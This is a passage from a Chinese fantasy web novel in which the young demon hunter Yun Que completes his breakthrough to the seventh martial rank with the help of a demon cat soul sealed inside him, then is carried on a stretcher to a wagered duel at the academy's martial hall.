皇帝闻言轻轻点了点头,叹息道:“看来只能如此了,你再追查三天,如果还没有眉目,朕便去请国师相助。” 老太监躬身应是,带着十余名黑衣人退出御书房。 皇宫内一座无人的殿宇中,老太监背着手道: “陛下说的话,你们都听见了,再去查三天,这件事便可结束,身为死侍,你们应该懂得守口如瓶。” 十余名黑衣人纷纷单膝跪地。 “属下明白!” 老太监点点头,摆手道:“去吧。” 十几名黑衣人齐齐转身,正要走向门外,忽然每个人的心窝处都出现了一个通透的伤口! 扑通扑通。 十几具尸体相继倒地。 “唯有死人,才能守口如瓶啊。” 老太监摇了摇头,脸色没有丝毫变化,缓步走出无人的殿宇。 对那些曾经的心腹,不曾多看一眼。 …… 天明之际,云缺睁开双眼。 一夜时间,周身所有经脉已经冲击成功! 突破七品的第一步冲神脉,至此完成。 运转一番气机,云缺惊奇的发现,自己所能动用的气机几乎是之前的数倍! 气机,是武者气血之力的外在表现,关乎着力量、速度、灵敏、五感等等一切与本体有关的能力。 气机越强,武者的战力就越强。 单单冲开神脉,获得的提升就极为惊人。 以云缺估计,自己现在去找那犁谷对战,不动用妖力的前提下,至少能打个平手。 常年斩杀妖物的经验,旁人可没有,云缺是在厮杀中长大的,对战斗有着天生的天赋,同阶之间绝对没有对手,哪怕高一个大境界,有了冲开神脉获得的力量,便可一战。 云缺心情大好,吃了顿丰盛的早饭。 云缺心情好,屠苏和满申也开心,因为他俩跟着混到好几个馒头。 “听说云师弟与演武殿的人赌斗,到时候我们兄弟一定去给你擂鼓助威!”屠苏两口塞进去个馒头,道。 “演武殿的家伙嚣张得很,走路斜着眼睛看人,就像谁不是武夫似的!我和大汗要不是报错了学殿,早把演武殿那群嚣张的家伙全揍一顿!”满申大为不忿的道。 “你们两个就想揍人家整个演武殿的学子,口气太大了吧。”云缺笑道。 “全揍有点多,不过揍一百个问题不大!”屠苏又吞了一个馒头,噎得够呛。 “我们草原人最擅长打架!在草原的时候,我和大汗单枪匹马干翻过十几个部落的首领!”满申道。 “是吗,你们什么修为?”云缺好奇道。 “七品武夫!”屠苏和满申同时答道。 云缺有些意外。 这两个混饭的,居然都是七品炼神境武者! 看来学宫里,七品境界根本不值钱,遍地都是啊。 吃完饭,云缺准备回去继续冲击境界。 在饭堂门口,遇到了神色匆匆的吴鹰。 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第94章 叫声姐姐来听 “吴师兄怎么到百花殿了?”云缺奇怪道。 “来找你!”吴鹰将云缺拉到一旁没人的地方,沉声道:“你知不知道那个犁谷是七品武者?” “知道啊。”云缺道。 “知道你还应战!以八品对七品,没有任何胜算。” 吴鹰责怪的道:“一千两赌注我给你出了,你别再去演武殿,丢点人不算什么,我们武夫脸皮都厚,一旦被七品重创落下伤势,容易影响今后的修为,得不偿失。” “多谢吴师兄关心,不过比斗我肯定要去的,八品打不过七品,如果我突破炼神境,那就打得过了。”云缺狡黠的笑道。 “你在冲击境界!”吴鹰惊讶道。 “第一步冲神脉已经顺利完成,我有把握两天后成为七品。”云缺道。 “好小子!是我小看你了。”吴鹰重重的拍了拍云缺肩膀,高兴道:“师兄送你点东西,提前祝贺你七品大成!” 说着取出个小瓷瓶,不容分说塞给云缺。 “吴师兄,这是……”云缺疑惑道。 “一点小礼物,你收着,破神藏的时候记得吃掉,师兄等着看你在学宫的第一次大战!” 吴鹰说完就此离去。 云缺打开瓷瓶,发现里面是一粒丹丸,极为精致,丹香扑鼻。 丹药! 云缺并不认得,只知道这东西应该价值不菲。 回去后,特意找到房石问了问。 “正品神藏丹!云师弟原来身家不菲呀。”房石道。 “一位朋友刚送的,房师兄看看丹药有没有问题,我打算卖掉,不知房师兄能出多少。”云缺道。 房石仔细查看一番,点头道: “丹药没问题,药效完好气息纯正,我能给出两千九百两的收购价,现在即可付钱。”房石说着准备拿银票。 “我再考虑考虑,也许用得上呢。”云缺收回了神藏丹。 回到住处,云缺眉峰微蹙,若有所思。 卖丹药,只是个说辞,主要目的是让房石验一验神藏丹。 既然房石肯当场掏钱,说明丹药的确没问题。 之所以怀疑神藏丹,是因为吴鹰实在太大方了。 三千两白银的丹药,随随便便就送人! 关键自己与吴鹰根本没那么深的交情。 云缺年纪虽然不大,但人情世故,懂得很多。 云缺很清楚的知道一个道理。 世上除了亲生父母之外,不会有任何一个人平白对自己掏心掏肺,更不会平白帮了自己一次又一次。 “过犹不及啊吴师兄,你到底有什么目的呢。” 云缺把玩着瓷瓶,暗暗自语。 又帮自己天牢越狱,又送三千两的神藏丹,吴鹰的热情,有些超乎寻常。 这跟梅钱在城门口收钱一个道理。 一两银子二两银子都算正常,可超过三两银子,其中必定存在着外人不得而知的原因,甚至是阴谋。 吴鹰的目的,云缺看不透。 不过神藏丹是正品无疑,正好拿来一用。 用归用,三千两银子,云缺要还给吴鹰。 等看到牧青瑶,正好能得到三千两。 即便近期见不到牧青瑶,还有殷滔欠的三千两赌债呢。 有了神藏丹,云缺即刻进行第二步的破神藏。 从开始到结束,一切顺利。 神藏之说,又称神识宝藏,是独特的识海空间。 而识海,则是神魂栖息之地。 破开神藏空间,便会感知到自身神魂。 各大派系的修行者,均有这一步。 唯有沟通识海,感知元神,修行者才能更为了解自身,做到内观定照,天人合一。 武夫虽然无法拥有法力,但识海在每个人的身上都存在。 武者开辟神藏后,感知将更加敏锐,能察觉到之前难以观测到的细微变化。 例如对手施展法术的强弱、范围。 例如空气中五行之力的变化,敌人气息的方位,刀剑袭来的速度,符箓爆裂的时间点。 这些细节看似无关紧要,却是感知程度的强弱表现,有可能在恶战中关乎着胜败,关乎着生死。 破开神藏还有个好处。 会让武者的神魂愈发强大,同阶巫修施展的入梦之法与攻击神魂的暗杀手段几乎失去作用。 强大的武夫,甚至不惧巫修的咒杀,连一些幻术也可快速挣脱。 云缺紧闭双眼,心神完全沉入到识海空间。 渐渐的,识海的轮廓清晰起来。 这里是一片无边无际的空旷之地,看不到尽头。 云缺在识海中睁开眼。 这是他第一次以自身神魂,观察着这片奇异的识海空间。 在这方天地之内,云缺犹如主人一般,可以随意来去,如风飘行。 有趣的地方! 云缺在新奇之余,四下观望。 远处上空,有一片黑云笼罩的区域,其内仿佛有一头庞然大物,静静蛰伏。 “妖魂……” 云缺的目光冷冽起来。 这些年他始终在好奇着,到底自己的第二柄长刀里,封着什么妖物。 今天,云缺第一次亲眼看到了对方。 可惜看不清。 那层黑云,将妖魂包裹着。 不过从轮廓来看,对方的神魂比自己强大了太多! 在那层黑云之下,云缺的神魂显得十分渺小。 现在不是观察妖魂的时候,省得将对方惊醒,云缺很快退出识海空间。 休息了半天后,直接冲击第三步。 凝神骨! 有了破神藏之后的感通神魂,第三步其实对云缺来说最为简单。 只要调动识海空间的神魂之力,仔细凝炼一番全身骨骼即可。 这一步,与八品炼骨境的打熬筋骨类似。 区别在于,八品需要以各类材料加上自身气血来强化骨骼,而冲击七品的凝神骨,则需要神魂的力量。 从头骨开始,云缺调动的神魂力量逐渐与周身骨骼融合。 这段过程是痛苦的。 神魂入骨,会带给人一种针刺般的痛感。 就像有人用无数细针扎自己的骨头,让人痛不欲生。 之所以武者才会有凝神骨,是因为武夫的体质最为强壮,毅力也最强。 其他体系的修行者,如果体会这番痛苦,不知多少人会直接放弃。 学宫内冲击到七品炼神境的武者,被最后一步凝神骨疼昏的大有人在,几乎所有人都会痛哭流涕。 要不然演武殿先生许闲云也不会说出,让学子们准备好毛巾擦眼泪的话。 不过这种痛苦,云缺根本不在乎。 常年猎妖,自然伤痕累累。 云缺身上的伤口根本数不过来,如果怕疼的话,算什么猎妖人呢。 用了整整一天时间,周身上下所有骨骼完全被凝炼了一遍。 云缺能感觉到本体的坚固程度,再次上了一大截台阶! 之前八品的肉身,对战七阶妖兽必须小心谨慎,被抓一下咬一下肯定重伤。 现在不同了。 哪怕被萍山君的老虎爪硬生生抓一下,云缺这幅本体也不会有太重的伤势,皮肉肯定会破开,但骨头很难被七阶妖兽抓断。 “终于七品!” 云缺喝出这句话之后,只觉得整个人轻松痛快。 修行者下中上三个修炼阶段,自己在下阶已经圆满,下一步,就是六品宗师境! 正高兴之际,云缺忽然愣住。 他察觉到一个奇怪的地方。 自己外放的气机虽然比以往强大很多,却没达到七品的程度! “怎么回事?” 云缺大为不解。 武者的气机,是衡量境界的最佳标尺,与道门修士的灵气,儒家修士的文气类似。 犁谷外放气机,云缺立刻能判断出对方是七品。 可现在外放的气机,并没达到七品。 也就是说,自己没能完全破境成功,还停留在八品炼骨境! 疑惑之下,云缺仔细检查本体。 从里到外,每一条经脉,每一块骨头都查看个仔仔细细。 最后发现了端倪。 自己的骨骼,本该被神魂之力凝炼成功,可不知为何还存在着极大的瑕疵。 就像只凝炼了一半,还剩一半没有完成。 可实际情况是,云缺的每一块骨头都拥有了自身的神魂气息,本该完成了凝神骨才对。 如此奇怪的现象,让云缺一时陷入沉吟。 很快,云缺猜到了真相。 “妖魂!” 看似完成,却并未完成的凝神骨,还差妖魂的凝炼! 云缺惊讶之下,掀开上衣。 果然, 心窝处的莲花印,不知何时已经消失不见。 妖魂竟摧毁了封印! 云缺此刻只剩下满脸无奈。 本打算趁着妖魂被封印,自己赶紧突破七品,结果妖魂这么快就出来了。 “嘻嘻嘻……趁我不在想自己偷偷进阶,你这个坏孩子。” 诡异的女子声音响起在云缺耳畔。 听到妖魂的声音,云缺觉得脑袋发疼。 “我自己的身体,什么时候进阶关你屁事!”云缺恼怒道。 “不关我事,那你自己冲击境界吧,反正我不松口的话,你这辈子也别想成为七品,乖乖当你的八品武夫好了,咯咯咯咯!” 妖魂挑衅的声音,让云缺大为恼火,又无可奈何。 “信不信我现在捅自己一刀,咱们同归于尽!”云缺懊恼道。 “不信,你倒是捅哇!”妖魂的声音充满调侃。 早晚捅死你! 云缺在心里嘀咕了一句。 “我留在八品对你有什么好处!”云缺道。 “你到了七品,对我一样没好处,那我为何要帮你呢。”妖魂道。 “你到底想怎么样!”云缺道。 “不想怎么样,我就喜欢看你无法突破境界的样子,又懊恼又抓狂,好玩极了!嘻嘻嘻!” “本是同根生相煎何太急,大家同魂一体,何必自相残杀呢,怎样你才肯帮我。”云缺无奈道。 妖魂怪笑了起来,语气戏虐的道: “帮你也可以,先叫声姐姐来听。” 请记住本书首发域名:99。鸟书网手机版阅读网址:wap.99 第95章 能不能遮上点 听闻妖魂的无理要求,云缺勃然大怒道: “我堂堂七尺男儿,顶天立地!叫你一只妖做姐姐?” “不叫算了,当你的八品小武夫去。”妖魂道。 云缺的怒容瞬间消失,面带微笑道: “姐姐!帮帮弟弟吧。” 男子汉大丈夫,关键要能屈能伸。 “这才乖嘛,姐姐给你买糖吃,咯咯咯咯!”妖魂得意的笑声响起。 云缺忍着火气,有些焦急的道: “少废话了!我不吃糖,我要凝神骨!赶紧调用你的妖魂融我骨骼。” 现在处于即将进阶,又还差最后一步的状态,拖得时间久了,对自己没有好处。 前两关的冲神脉与破神藏,成功后都可暂时休息停下,唯独最后的凝神骨,不能停留过久,必须一口气完全冲进七品,否则凝炼好的骨骼容易出现退化的现象。 “怎么跟姐姐说话呢,求人还求得这么硬气,哼,姐姐生气了。”妖魂怪声怪调的道。 云缺捏起拳,咬牙切齿,语气却温和起来。 “弟弟一时心急,说错了话,姐姐快点帮忙吧,要不然该前功尽弃了。” “这还差不多,帮你可以,等姐姐心情好的时候再说。”妖魂道。 “等你心情好?我这冲击境界呢!等不了!”云缺怒道。 “那没办法喽,那道破印,封了我好几天,我现在不开心,你来哄姐姐开心吧。”妖魂道。 “又不是我弄的封印,你找红莲教主算账去。”云缺没好气的道。 哄你开心? 我把你心挖出来,切成八瓣,是不是就开心了。 “傻弟弟,你知不知道那道魂印不止有封印之效,还能摧毁神魂,若没有我,凭你的神魂之力现在早死多时喽。”妖魂道。 云缺沉默了一下。 云缺相信妖魂的这句话,红莲教主不会临走前施展个无用的法术。 红莲教主既然敢直接退走,她有着十足把握击杀牧青瑶,而那道魂咒,便是无法抵御的危机。 “谢谢你,行了吧。”云缺道。 “救你一命,只换来谢谢两字,你觉得合算么。”妖魂道。 “你到底想怎么样!咱俩是一条绳上的蚂蚱,我死你也活不成。”云缺道。 “把你身体让给我三天时间,我便助你凝神骨,否则免谈。”妖魂道出了真正目的。 “你做梦!只要我还活着,你别想用我的身体。”云缺一口回绝。 “那你准备做一辈子八品武夫吧。”妖魂道。 “无所谓,我明天就回青狐山,八品就八品,反正都是混吃等死,等我老死的时候你也跟着入土为安,到时候你别后悔就行。”云缺道。 妖魂没在开口,过了一会儿后道: “一天!” “没门儿,多说借你一盏茶的时间。”云缺松了点口风。 与妖魂谈判,云缺也怕惹急了对方,不给妖魂点希望,对方肯定要恼火,真要不帮忙那就坏了,妖这东西,脾气古怪得很。 “最少半天!一盏茶够干什么的。”妖魂讨价道。 “一炷香,不能再多了,这是我的底线。”云缺道。 经过一番讨价还价,最终定在半个时辰。 反正主动权在云缺手里,先答应下来稳住对方,等冲进七品炼神境再说。 “好,就半个时辰,何时要用身体我再通知你,现在你准备好,我要以妖魂凝骨了。”妖魂道。 “早准备好了,快点吧。”云缺不耐烦的道。 刚说完,云缺只觉得脑海中涌动起一股玄奥的力量,犹如风暴般冲进浑身骨骼。 当妖魂融入骨骼的刹那,云缺体会到一种无比恐怖的痛楚! 如果说之前以自己的神魂凝骨,是被无数细针扎进骨头,那么这一刻的感觉,就是被无数重锤砸着骨头! 两者相差何止百倍! 云缺眼前一黑,直挺挺倒在了床上,彻底昏厥。 神智昏厥,凝骨却在持续着。 云缺的身体犹如抽筋了一样,在床榻上颤抖个不停,浑身透汗。 昏厥之后,云缺的意识回归到元神。 在识海空间中豁然睁眼。 身体的痛楚已经感知不到了,云缺发现自己的神魂变得忽明忽暗,大有崩塌的危险。 这是肉身被重创才会有的现象。 “混蛋!你要害死我啊!给我滚出来!” 云缺朝着头顶那片黑云大吼,怒不可赦。 “嘻嘻!你自己说准备好的,关我什么事。” 妖魂的声音从黑云中传出,同时黑云缓缓下降,悬浮在云缺面前。 距离近了,云缺更能感受到黑云的庞大,里面的庞然大物若隐若现。 隐约能看到一个狰狞轮廓,有四爪,类似虎豹。 “我准备好凝神骨,又没准备好去死!你想要我命啊!”云缺怒道。 “谁让你那么弱小,姐姐只动用了一成的魂力而已,这你都挺不住,若我用三成魂力融骨,你的浑身骨头早已经碎成齑粉。” 黑云涌动间,探出一条条长须,长须之后,是一颗血色的兽首。 兽首的口鼻当先出现,鼻子发尖,嘴角是锋利的獠牙。 虎?狼?狐? 云缺在心里快速猜测,等兽首完全探出黑云才知道猜错了。 “猫!” 云缺十分诧异。 眼前的黑云里,竟出现一颗殷红的猫头,十二条长须好似柳枝上下摆动,两颗血色竖瞳,倒映着云缺的影子。 不对! 云缺很快辨认出来。 眼前的妖魂不是猫,而是狸! 一头血色狸猫! 狸这种妖兽,也叫狸猫,但与猫截然不同,极其凶悍,更极为罕见。 之前尚未开辟神藏,到不了识海空间,这是云缺第一次见到身上的妖魂。 狸猫的身体随之迈出黑云,现出庞大的身躯,居然有七条长尾。 云缺的神魂在妖魂面前,还不及人家的前爪高。 “十五年了,你才开辟出神藏,真是愚蠢的弟弟。” 巨兽抬起前爪拍向云缺头顶。 云缺神魂不稳,根本没力气躲开,下意识的一闭眼。 随后云缺感受到一只手出现在头顶。 睁眼一看,对面的巨兽正在幻化,前爪化作双手,后爪变成腿,呈现出人形。 站在云缺面前的,是一个身形高挑的女人。 丹凤眼,玄月眉,精致的五官犹如玉雕般浑然天成,一头血色长发直抵脚踝,女人的神色淡漠,透着一股与生俱来的孤傲,好似一位来自天外的妖姬,浑身上下散发着妖异气息。 女人的一只手落在云缺头顶,肆无忌惮的揉搓,好像在逗弄着顽童,嘴角挂着戏虐浅笑。 妖魂化人,云缺先是诧异了一下,接着目光下移,看到了一番汹涌澎湃的惊人景致。 这时若是喝着茶,云缺非得喷出来不可。 “衣服呐!你能不能遮上点!” 云缺大吼。 “呦,猎妖人还会害羞呀!在藏石镇看其他女人的时候,没见你这么大惊小怪呢。” 妖魂故作惊讶的揶揄道,随手一挥,身上多出一套幻化出的血色长裙,华贵端庄。 云缺松了口气。 偷看是偷看,别人又不知道,面对面的这种实在尴尬。 “都怪你!我快死了,怎么办。” 云缺直接坐下,一副破罐子破摔的无赖架势。 “死不掉,放心吧,这些年你打熬的骨骼还算不错,勉强能承受住一成妖魂凝骨。” 妖魂站在云缺面前,居高临下的道: “你得感谢我才对,等妖魂凝骨成功,你的骨骼将被强化到一个惊人的地步,别说同阶,高你一个大境界的武夫也无法比拟。” “有多强!还能比得过萍山君吗。”云缺没好气的道。 看似恼怒,云缺其实心头暗喜。 双魂一旦完全凝骨,按照许闲云的说法,即可达到同阶无敌的地步。 双重神魂,两次凝炼,这便是无人能比拟的好处! 只要成功,云缺估计自己的骨骼强度至少是其他七品武者的一倍以上。 如此一来,在搏杀的时候相当于多了一套甲胄。 同样力道的一刀,能砍开其他七品武者的骨头,却未必砍得开云缺的骨头。 然而更让云缺震撼的,还在后面。 “那只小老虎?呵呵呵,傻弟弟,你太小看姐姐的神魂之力了。” 妖魂挑动嘴角,妖异的笑道:“凝神骨成功之后,你浑身的骨头不会弱于六阶妖兽。” 云缺皱起眉,狐疑道: “真的假的?你没骗我?难道你是五阶以上的妖族?” “你猜呢,嘻嘻嘻!套话儿的不是好孩子呦。”妖魂诡笑道。 云缺的确在套话,而且此刻心头巨震! 如果妖魂没说谎的话,自己冲进七品炼神境之后,竟能拥有不弱于六阶妖兽的骨骼强度! 听起来好像没什么,可云缺深知这代表着什么。 七品武夫,却拥有六阶妖兽的骨骼,相当于云缺伸出手让萍山君随便咬,根本咬不断! 这已经不是同阶无敌的说法了,而是在同阶妖兽中绝对的无敌! 云缺可以赤手空拳去搏杀七阶妖兽,还能立于不败之地,即便锤不死对方,对方也咬不死自己。 若换成在修士当中,云缺就是一个拥有七品武夫战力,六阶妖兽之躯的恐怖怪物! 此时此刻,云缺的心头只回荡着三个字。 杀六品! 以七品战力,诛杀高自己一个大境界的六品强者! 妖魂缓缓蹲下,用一双诡异的竖瞳盯着云缺道: “是不是很意外呢,只要你哄我开心,姐姐还有更多的好处给你呦,嘻嘻嘻嘻,哈哈哈哈!” 笑声在空旷的识海空间回荡不停,充满诡谲之感,听得云缺浑身不自在。 若有本体的话,非得汗毛炸立不可。 笑完之后,妖魂语气古怪的道: “不过呢,以我的妖魂凝神骨,是有代价的,你那副弱小的肉身,估计要在床上躺很久喽。” 云缺听罢顿时一惊。 眼看着赌斗在即,下不了地的话,一千两就要泡汤了! 第96章 千年学宫独一份 一个时辰之后,云缺的意识回归本体,冲击七品最后一步的凝神骨彻底完成。 云缺静静的躺在床上,感受着身上流转的七品气机。 这次终于完全成功。 自己成为了真正的七品炼神境武者。 可是让云缺无奈的是,自己居然动弹不得! 浑身上下没有知觉,就像被人把全身骨头打断了似的。 还是断成碎渣的那种! 身上每一块骨头都充满着崩裂的感觉,剧痛无比。 云缺强忍着,才没再次昏厥。 额头的冷汗犹如下雨般淌个不停。 足足躺了半天后,云缺才能把一只手抬起来。 身体的痛苦,在妖魂凝骨后无法避免。 云缺一点都不后悔,更不在乎,反而大喜过望。 区区肉身之苦算得了什么,自己得到的,将是无人能及的强横肉身! 云缺已经能感受到骨骼被妖魂凝炼后的坚韧,绝对远超七阶妖兽。 “六阶妖兽之骨,相当于五品金身之躯!” 云缺发出一句沙哑而坚定的低语。 徒手搏杀妖兽,连六品宗师境武夫都很难做到,唯有五品金身境武者才行。 金身境,顾名思义,拥有着金刚不坏之身! 五品金身,是一个极为强横的境界,五品武夫拥有着堪比妖族的本体强度,战力无比惊人。 云缺只有七品,自然达不到五品的战力,但他此刻的肉身强度,已经相当于五品金身境了。 这是一份唯有云缺才能拥有的天赋。 双魂所带来的好处! 当然云缺与五品武者相差还太远,金身武夫快速的恢复能力,超强的战力,云缺现在可无法拥有。 躺在床上,云缺以强大的毅力,忍受着常人无法想象的痛苦。 随着时间流逝,云缺发现妖魂凝骨的痛苦开始减少。 一种奇怪的感觉从头骨顶端出现。 如同一片清凉,在头顶蔓延开来。 这股凉意从头到脚,游走在每一块骨头上,好似一股泉水,渐渐熄灭着妖魂凝骨带来的痛苦。 云缺觉得很舒服,懒洋洋昏昏欲睡。 很快云缺惊醒过来。 他以为是妖魂凝骨的痛苦逐渐消失,从而出现的错觉,可仔细感知下发现并不是。 自己身上每一块骨头,仍旧蕴含着炸裂般的力量,根本没有消散。 而另一股清泉般的感觉,也一样存在于每一块骨骼,与那炸裂般的力量同存。 除了自身神魂凝骨与妖魂凝骨之外,仿佛有第三种力量,帮云缺抚平着骨骼上遗留的剧痛。 “这是什么道理!” 云缺暗自嘀咕道:“难道我还有第三道神魂?” 说完云缺自己都觉得好笑。 双魂之体,已经足够罕见古怪了,世上哪有三魂同存的生灵。 不再多想,云缺放空思维,安静的休息。 转过天去,到了赌斗的三日之约。 演武殿大门前的广场,人山人海! 百花殿学子与演武殿学子的赌斗,已经传遍了学宫。 任何地方,都不缺看热闹的,天祈学宫一样不例外。 这场赌斗吸引了数千学子,大家都想瞧瞧,百花殿到底出了什么人才,敢挑战演武殿的一群武夫。 在天祈学宫,演武殿是发生打斗最多的地方。 走在路上,其他学殿的学子若看到演武殿的人,大多会选择绕开。 倒不是害怕打不过,而是不堪其扰。 一个字,烦! 演武殿的武夫粗俗又好斗,出口成脏,经常挑衅其他学殿学子,别人不打,他们就开骂,骂得要多难听有多难听。 以至于有一年,上千学子联名给学宫提出建议,要求取消演武殿,认为演武殿里的武夫根本不懂什么是学问,全是大老粗,不配在学宫求学。 联名的那些学子,都是被演武殿的武夫揍过的,提的建议,学宫也不可能采纳。 圣人创建的天祈学宫,最初便设立了十二殿,谁敢轻易取消一殿。 这次赌斗其实最吸引人的地方,在于云缺百花殿学子的身份。 平常其他学殿,看到演武殿的武夫都绕着走,偏偏这次有人敢主动去赌斗,所有人都在好奇着云缺到底是何方神圣。 广场上从上午开始就聚满了学子,犁谷信心满满的等在人群中间。 直到中午开饭了,也没看到云缺出现。 最着急的,莫过于梅钱。 他把全部身家押在云缺赢,云缺若不来,他的三百两银子可就泡汤了。 梅钱心急之下,直接去了百花殿。 找人打听,得知云缺住在西楼,梅钱大步流星走到西楼下。 他正想迈步进去找云缺,忽然迈出的脚步就此顿住。 耳畔传来苍老低沉的声音。 “离开这里,快!” 梅钱毫不犹豫,在西楼前转了个弯,装作散步,脚步匆匆的走出百花殿。 他走后没多久,墨老的身影鬼魅般从楼上飘了下来。 骷髅般的墨老站在大厅深处,望着远去的梅钱,目光犹如两团鬼火般,脸上带着一丝疑色。 等离开百花殿很远,梅钱站在一个没人的凉亭里低语道: “你不是说到了学宫,轻易别与你联系么,怎么你先开口了?” “你刚才去的什么地方。”苍老的声音道。 “百花殿西楼,到底怎么了?”梅钱疑惑道。 “那座楼宇内,有一种令我不安的气息存在,以后切勿接近。”苍老的声音警告道。 “难道是云缺?”梅钱道。 “不是那小子,是一道很苍老的元神,很强,贸然接近,对方有可能察觉到我的存在。”苍老的声音变得愈发低沉。 “我知道了,以后不再去百花殿。”梅钱点头道。 “等等!云缺那小子怎么也在学宫?”苍老的声音忽然疑惑起来。 “应该是灵芸郡主的举荐,那家伙一直护送郡主来着,跟我同一天到的学宫。”梅钱道。 “前两天敲护心镜的,是不是他?”苍老的声音问道。 “除了他,谁能跟我动手动脚。”梅钱无奈道。 “告诉你多少次,离那小子远点!挨上他准没好事儿!这里是天祈学宫,强者众多,我无法轻易外放感知,你自己好自为之!” 说罢,老者的声音彻底消失。 梅钱咧了咧嘴,一脸无奈。 他知道为何老者会生气,人家在护心镜里闭关修炼,云缺上次在演武殿学堂里哐哐砸了两下,换成谁都得被吓一跳。 类似于睡得正香呢,突然有人踹门。 没找到云缺,梅钱只好灰溜溜返回演武殿。 梅钱没敢进西楼,但有人不在乎。 屠苏和满申晃着膀子闯进西楼,一顿乱找,终于在一间房间里发现云缺。 “云缺!你怎么还睡大觉呢,今天是你比斗的日子!你不会忘了吧?”屠苏道。 “当然没忘,我现在起不来。”云缺道。 身上虽然不疼了,但尚未恢复全部知觉,只有两只手臂能动,根本站不起来。 “受伤了?”满申道。 “摔了一跤,伤了腰。”云缺敷衍道。 “摔个跟头就趴下了?你们晋国人太脆了吧!”屠苏自豪道:“我们草原人天天摔跤打架,睡一觉就好!” “所以你才是大汗呐。”云缺道。 “那当然了,天鹰部谁也打不过我!哎对了,你得去比斗哇!我借了五两银子下注,你可别给我们百花殿丢脸呀!”屠苏道。 “当然得比,找个担架,抬我去演武殿。”云缺道。 名声无所谓,一千两银子不能丢。 满申担忧道:“你这个样子还怎么打,会出事的,要不别去了。” “没事,我一只手也能打。”云缺道。 两人很快找来一副担架,抬着云缺走出西楼。 路过南楼的时候,云缺又看到了穹舞,对方瞪着一双漂亮的眼睛,狠狠盯着自己。 “看什么,没见过躺着打架的吗!” 云缺说完,穹舞的眼睛变得仿佛要冒火,咬牙切齿。 抬着担架去赌斗,这种新鲜事吸引了一众百花殿学子,担架后边跟着好几百人,都想去演武殿看热闹。 武夫斗殴,在学宫里天天都有,并不稀奇。 抬担架去打架的,学宫创立千年来,只此一份。 穹舞站在南楼门口好一会儿,狠狠跺了下小脚,跟着人群走向演武殿。 她想看看云缺被打个半死的模样,解解气。 “身残志坚呐,一看就是个神智坚韧之人,不学神道可惜了呀。” 剑平之嘀咕一句后也跟着去演武殿看热闹,反正他一个学生没有,天天都很清闲。 当云缺出现在演武殿外,周围的无数学子随之沸腾起来。 沸腾的原因并非即将开始的比斗,而是云缺居然被担架抬来的。 议论声此起彼伏。 “站不起来还敢比斗,世上果然什么人都有哇。” “也不怕被打死,逞什么英雄!” “人家这叫有信誉,自己立的约,哪怕爬也要爬来。” “人外有人天外有天,躺在担架也敢一战!好样的!” “还有人坐庄吗,这次押犁谷的天赢啊!” “下注早结束了!早知道百花殿的人这个熊样,我就该押犁谷赢,这下好,二十两打水漂了!” 分开人群,屠苏和满申将云缺抬进一处演武场,犁谷正大咧咧的站在对面,满脸鄙夷。 云缺让屠苏找两根木头,把担架斜着架起来,让自己处于近乎站立的程度。 等忙活完了,屠苏神色古怪的叮嘱道: “输得痛快点,男子汉大丈夫,打输不丢人!” 云缺狐疑道:“你怎么盼我输呢,你不是借了五两银子押我赢么。” “那个……我确实借了五两银子,但我押的是犁谷,嘿嘿。”屠苏挠着头道。 这时梅钱凑了过来,皱着眉低声道:“你怎么搞的!伤成这样?” “说来话长,把你的刀借我一用。”云缺道。 没等梅钱说话,旁边有人洪声道:“用我的刀!” 第97章 七品之战 说话的,正是吴鹰。 云缺打过招呼后,接过吴鹰递来的长刀。 刀身厚重狭长,黑铁锻造,刀刃锋利并设有暗槽,专门用来放血。 这是把骑兵用的斩马刀,借助马匹之力,能将对手拦腰斩断,是军中悍将常用的凶器。 刀一入手,立刻传来一股沉甸甸的力量。 百斤以上。 云缺注意到刀身上存在着一排细小的纹路,乍一看好似裂痕,实际竟是符文。 法器! 而且等阶不低! 云缺没用过法器,但见识过不少,一眼看出吴鹰的斩马刀至少在上品程度,甚至有可能是极品。 “尽你所能施展,刀断了,算我的!”吴鹰大气道。 云缺道过谢,熟悉了一番长刀,做到心中有数。 赌斗切磋,又不是生死搏杀,云缺自然不会动用妖刀。 妖刀出鞘就要见血的,凶气太重,不适合在学宫动用。 云缺打算以后有钱了,也弄把法器长刀备用,当做平常的武器。 云缺在这边摆弄长刀,可把对面的犁谷气得够呛。 担架抬来的也就算了,连兵器都不带,还得借别人的,根本没把他犁谷放在眼里。 “进了演武场,等同于签下生死状!” 犁谷瞪着眼睛喝道:“小子,今天我要是失手把你打死,用不着偿命!” “放心,你打不死我,不过我劝你先挖个坑,待会儿趁着还有一口气在,先把你自己埋喽,省得别人费事。”云缺随口道。 嘴炮这一块,也就梅钱能和云缺较量较量。 “就凭你?哈哈哈!你想笑死我不成!” 犁谷装模作样的仰天大笑,道:“区区八品武夫,敢在七品面前猖狂!不得不说,你小子胆子够大,不过脑子一点没有!等会儿老子来教教你什么叫武道!” “好哇,教得不好的话,我可揍你。” 云缺说罢将长刀插在地面,也学着当初犁谷的模样,双拳对撞了一下。 嘭一声闷响! 一阵气浪出现,吹得犁谷的头发狂摆。 “七品!” 犁谷的笑容瞬间凝固在脸上,诧异道:“你居然进阶七品了!怪不得你要三天后再战,原来是缓兵之计!” 相比于犁谷的惊讶,一旁的梅钱更为惊诧。 他本以为年底自己肯定能进阶七品,都想好了要在云缺面前炫耀一番,气一气云缺,结果人家先成了七品。 梅钱现在心里酸溜溜的,他决定不能等到年底,过几天就开始冲击七品。 否则的话,该炫耀的就是云缺了,他梅钱更抬不起头来。 吴鹰微眯起双眼,缓缓点了点头,看向云缺的目光充满了赞赏之色。 百花殿的一众学子纷纷兴奋起来,为云缺鼓气助威。 “揍他一顿!让他们演武殿知道知道我们百花殿不是好惹的!” “总被外人欺负,我们百花殿终于出一个能打的了!” “云缺加油!” “百花殿万胜!” 一群百花殿学子呼喝不断。 唯独穹舞站在人群里一声不吭,恨恨的瞪着云缺,她只想看到云缺被打成猪头的模样,以解心头之恨。 难怪这群百花殿学子兴奋不已。 学宫十二殿,唯独百花殿最下乘,当然这不是学宫定的,而是学子们私下里的说法。 因为百花殿传授的东西太杂,什么都有,没一个靠谱的,因此百花殿学子的战力相对最低,平常也最没有名气,百花殿学子在其他学殿面前简直如透明人一样。 唯独新年的时候,百花殿的歌舞才能闻名学宫,其他时候提及百花殿,很多学子都会嗤之以鼻。 认为百花殿里都是一些没能耐的富家公子,专门来学宫里混个身份,出去后好到处吹牛。 可悲的是,百花殿这么多年,确实没出什么人物,面对战力最强的演武殿,更没人敢挑战。 如果云缺今天能赢一场,百花殿学子也觉得脸上有光。 